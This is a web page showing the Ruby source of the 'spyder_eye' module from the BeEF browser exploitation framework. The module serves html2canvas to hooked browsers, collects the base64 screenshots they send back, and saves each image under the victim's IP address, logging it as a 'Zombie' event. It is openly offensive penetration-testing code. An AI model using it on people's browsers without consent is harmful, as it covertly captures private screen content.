Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/spyder_eye/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Spyder_eye < BeEF::Core::Command
7
def self.options
8
[
9
{ 'ui_label' => 'Repeat', 'name' => 'repeat', 'description' => 'Number of snapshot to take.', 'value' => '1', 'width' => '80px' },
10
{ 'ui_label' => 'Delay', 'name' => 'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.',
11
'value' => '3000', 'width' => '80px' }
12
]
13
end
14
15
def pre_send
16
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.min.js', '/h2c', 'js')
17
end
18
19
def post_execute
20
content = {}
21
content['results'] = @datastore['results'] unless @datastore['results'].nil?
22
save content
23
24
# save screenshot file
25
begin
26
timestamp = Time.now.localtime.strftime('%Y-%m-%d_%H-%M-%S')
27
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'browser.ipaddress')
28
filename = "#{$home_dir}/screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
29
File.open(filename, 'wb') do |file|
30
data = @datastore['results'].gsub(%r{^image=data:image/(png|jpg);base64,}, '')
31
file.write(Base64.decode64(data))
32
end
33
print_info("Browser screenshot saved to '#{filename}'")
34
BeEF::Core::Logger.instance.register('Zombie', "Browser screenshot saved to '#{filename}'")
35
rescue StandardError => e
36
print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
37
end
38
39
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
40
end
41
end
42
43